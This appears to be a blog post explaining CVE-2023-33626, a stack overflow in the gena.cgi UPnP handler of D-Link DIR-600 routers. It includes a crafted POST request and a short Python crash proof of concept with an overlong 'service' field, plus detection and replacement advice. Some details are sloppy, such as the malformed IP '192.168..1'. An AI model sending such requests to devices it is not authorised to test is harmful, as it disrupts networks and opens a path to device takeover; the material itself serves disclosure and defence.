CVE-2023-33626 - Exploiting Stack Overflow in D-Link DIR-600 routers (Hardware Version B5, Firmware Version 2.18)

The world of home routers is often riddled with vulnerabilities, and in early 2023, researchers discovered a dangerous stack overflow in the D-Link DIR-600 router, specifically targeting Hardware Version B5 with Firmware Version 2.18. This flaw, identified as CVE-2023-33626, opens the door for attackers to execute arbitrary code and potentially take over the device.

In this post, I'll break down the vulnerability in simple language, share the attack vector, show example exploit code, and explain how to detect and protect against this risk.

1. The Vulnerable Target

Device: D-Link DIR-600
Hardware Version: B5
Firmware Version: 2.18

This is not the first time the D-Link DIR-600 has encountered security issues, but this particular bug can allow an attacker—usually someone on your local network—to take control of your router by sending it specially crafted requests.

2. Where's the Bug?

The vulnerability exists in the gena.cgi binary. This file is part of the router's web interface, which controls Universal Plug and Play (UPnP) features.

When a user (or attacker) sends a POST request to the endpoint /gena.cgi, certain parameters are not checked for length. This means an attacker can send extra data, overflowing the buffer and overwriting the system's memory—eventually, this can lead to gaining full control of the device.

3. What Is Stack Overflow & Why Does It Matter?

A stack overflow is a programming error where a program writes more data to a buffer located on the stack than what is actually allocated. Since the stack also contains crucial program information, this can cause a crash, or worse, let an attacker take control.

Imagine the router is stuffing data into a short box, unaware of how much is actually being packed in. If we keep shoving in data, it spills out, covering up everything below the box—this could include instructions the processor uses to run programs!

An attacker crafts a POST request with an overlong parameter to the endpoint

POST http://<router_ip>/gena.cgi HTTP/1.1

Inside the form data, the vulnerable parameter (often identified as service or callback) is stuffed with hundreds or thousands of bytes—much more than the program expects.

Example Malicious Request

POST /gena.cgi HTTP/1.1
Host: 192.168..1
Content-Type: application/x-www-form-urlencoded
Content-Length: 150

service=AAAAAAAAAAAAAAAAAA...<repeated 'A's to overflow>...AAAA

Here, replacing 'A' with actual exploit code can grant attackers a shell or crash the device.

5. Exploit Details & PoC Code

Warning:
The following code is for educational purposes only. Do not use it on any device you do not own or have explicit permission to test.

This Python script demonstrates a basic buffer overflow by sending a long service field

import requests

router_ip = "192.168..1"
url = f"http://{router_ip}/gena.cgi";

# Buffer overflow with 'A's (adjust length as needed)
overflow = "A" * 140

data = {
    "service": overflow
}

response = requests.post(url, data=data)
print("Status Code:", response.status_code)
print("Response:", response.text)

This likely crashes the HTTP service if the device is vulnerable, indicating the stack has been overwritten.

In a real-world attack, instead of just "A's," an attacker would insert shellcode to execute their own commands.

Check Your Device:

Test for Exploitation:

If you are comfortable, use the above script. If the web admin panel becomes unreachable, the vulnerability is likely present.

Check the Network:

Use Nmap scripts or other open source tools, but be careful on production systems.

7. Official References & Further Reading

- NVD CVE-2023-33626 Details
- Exploit Database Entry (if available)
- Official D-Link Advisory (check D-Link support)

If your router is no longer supported, consider replacing it with a newer, patched model—continuing to use EOL (End-of-Life) models is dangerous in today's environment.

Conclusion

CVE-2023-33626 is a critical flaw in a widely used D-Link home router, allowing attackers to take full control via a simple POST request. Always keep your network equipment up to date and be wary of allowing untrusted devices or people into your home or office network.

Vulnerabilities like this show the importance of security—even in the devices we take for granted.

Stay safe out there!

If you found this post helpful, follow this blog and check the references for updates as the story unfolds.

Timeline

Published on: 06/12/2023 20:15:00 UTC
Last modified on: 06/16/2023 19:29:00 UTC